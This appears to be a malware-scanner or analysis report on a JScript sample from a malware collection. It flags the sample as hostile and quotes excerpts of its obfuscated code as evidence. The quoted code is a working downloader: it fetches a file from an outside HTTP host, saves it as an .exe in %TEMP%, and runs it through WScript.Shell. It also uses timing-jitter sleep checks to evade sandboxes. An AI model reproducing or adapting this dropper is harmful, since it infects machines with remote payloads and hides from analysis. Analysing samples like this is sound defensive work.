Hostile ^100% javascript-malware-collection Download

20160328_ebf8bf5fdead6d5aba0e1dd6939c415b.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-256314737bba6deefc575722ec4d1d9f548c04906591500b6f902765aed511a9f8f

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Uhzyovinp = false;
2var Uenutm = "CreateObject";
3var Scidfe = function Rzvudzoyts() {return WScript[Uenutm]("WScript.Shell");}();
4var Ksrybktcc = 123213;
5var Meiaujuw = "MSXML2.XMLHTTP";
6var Epgrj = 2123213;
7var Wgdam = 0;
8function Qfcavk(Okpfmnmdgc){Scidfe["Run"](Okpfmnmdgc, Wgdam, Wgdam);};
9function Yycnjav(){return Meiaujuw;};
10function Isbrvzrme(Psmvieum, Enieybldk){return Psmvieum - Enieybldk;};
11function Cqitcugv(){return Uenutm;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Uhzyovinp = true;
15  @end
⋯6 lines
22function Fkreefxv()
23{
24var Qytzlkip = new this["Date"]();
25var Ylrpwqc = Qytzlkip["getUTCMilliseconds"]();
26WScript["Sleep"](Qastcgvmha());
27var Qytzlkip = new this["Date"]();
⋯10 lines

English function-word token "for" lines 38–42

38:2… 
39var Tggrsqt = false;
40var Jdefhnwikb = false;
41for (var Tbgbtatol = Wgdam; Tbgbtatol < Qastcgvmha() * 1; Tbgbtatol++){if (Fkreefxv() != Wgdam){
42Tgg …

Contains a hardcoded insecure HTTP URL lines 49–63

49:6… ggrsqt && Qraidtuc() && Jdefhnwikb){
50function Xppeoh() {return Scidfe["ExpandEnvironmentStrings"]("%TEMP%/") + "JMolK1dD2mTxRrO.exe";};
51 Bwtjthbt = Yycnjav();
52 Eljsypb = WScript[Uenutm](Bwtjthbt);
53 var Zynfcuan = 1;
54 while (Zynfcuan){
55try {
56Eljsypb[Oxylazvqc]("GET", "http://bbwsa.com/m7rysa", false);
57Eljsypb["send"]();
58Horbzxnu = "Sleep";
59do {WScript[Horbzxnu](Qastcgvmha() * 11)} while (Eljsypb["readystate"] < 4 );
60Zynfcuan = Wgdam;
61} catch(Timlbxvf){Zynfcuan = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Clgjnqs(Euzjopd) {var  …

Calls computed member from function result lines 63–75

63:46… , 2, 3, 4, 5, Euzjopd); return Qrkowkvtl;};
64Xatoqeweq = WScript[Cqitcugv()]("ADODB.Stream");
65Bwtjthbt = Xatoqeweq;
66Bwtjthbt[Oxylazvqc]();
67Bwtjthbt["type"] = Clgjnqs(1);
68Bwtjthbt["write"](Eljsypb["ResponseBody"]);
69Xatoqeweq["position"] = Clgjnqs(Wgdam);
70Bwtjthbt["SaveToFile"](Xppeoh(), Clgjnqs(2) );
71Xatoqeweq["close"]();
72Qfcavk(Xppeoh());
73}
74}
75